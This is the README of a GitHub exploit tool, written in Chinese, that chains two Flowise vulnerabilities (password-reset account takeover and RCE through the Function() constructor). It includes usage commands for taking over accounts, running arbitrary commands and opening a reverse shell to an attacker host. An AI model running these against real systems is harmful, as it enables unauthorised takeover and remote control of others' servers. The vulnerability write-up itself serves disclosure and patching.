AzureADTrent/CVE-2025-58434-59528
GitHub: AzureADTrent/CVE-2025-58434-59528
该工具演示了如何链式利用 Flowise 的两个漏洞实现未认证账户接管与认证后 RCE。
Stars: 0 | Forks: 0
# CVE-2025-58434 + CVE-2025-59528
两个影响 **Flowise <= 3.0.5** 的漏洞的利用链。
## 漏洞
### CVE-2025-58434 — 未认证账户接管
忘记密码端点在无需身份验证的情况下返回有效的密码重置令牌。攻击者只需知晓一个有效邮箱地址,就可以在无需用户交互的情况下重置任意账户的密码。
### CVE-2025-59528 — 认证后远程代码执行
CustomMCP 节点将用户可控输入直接传递给具有完整 Node.js 权限的 `Function()` 构造函数。已认证用户可通过有效的 API 键以 Flowise 进程用户的身份执行任意操作系统命令。
**修复版本:** Flowise 3.0.6
## 环境要求
- Python 3.8+
- `pip install requests`
## 用法
**完整 ATO 链**(重置密码、提示输入 API 键、触发反向 Shell):
```
python3 flowise_chain.py -t http://target -e admin@target.com
```
**仅执行 RCE**(若已拥有 API 键):
```
python3 flowise_chain.py -t http://target --api-key -c "id"
```
**使用已有密钥的反向 Shell**:
```
python3 flowise_chain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444
```
### 选项
| 标志 | 描述 |
|------|-------------|
| `-t`, `--target` | 目标 URL |
| `-e`, `--email` | 目标账户邮箱(触发 ATO 链) |
| `--api-key` | 直接提供 API 键(跳过 ATO) |
| `-c`, `--command` | 要执行的命令 |
| `--lhost` | 反向 Shell 的攻击者 IP |
| `--lport` | 反向 Shell 的攻击者端口(默认:4444) |
| `--new-password` | 重置时设置的密码(默认:`Pwn3d!2026`) |
| `-k`, `--insecure` | 跳过 TLS 验证 |
## 说明
由于 Flowise 3.0.5 的一个特性,密码重置 API 端点不会立即更新登录端点所接受的凭证。脚本在重置后会暂停,并提示你手动登录 UI 并从 `/apikey` 复制 API 键。
标签:API 密钥泄露, Authenticated RCE, CISA项目, CVE-2025-58434, CVE-2025-59528, Flowise, Function 构造函数, Node.js 代码执行, PoC, Pwn3d, Python 3.8+, requests, StruQ, 反向shell, 命令执行, 密码重置, 开源软件漏洞, 暴力破解, 未认证重置密码, 编程工具, 账户接管, 远程代码执行, 逆向工具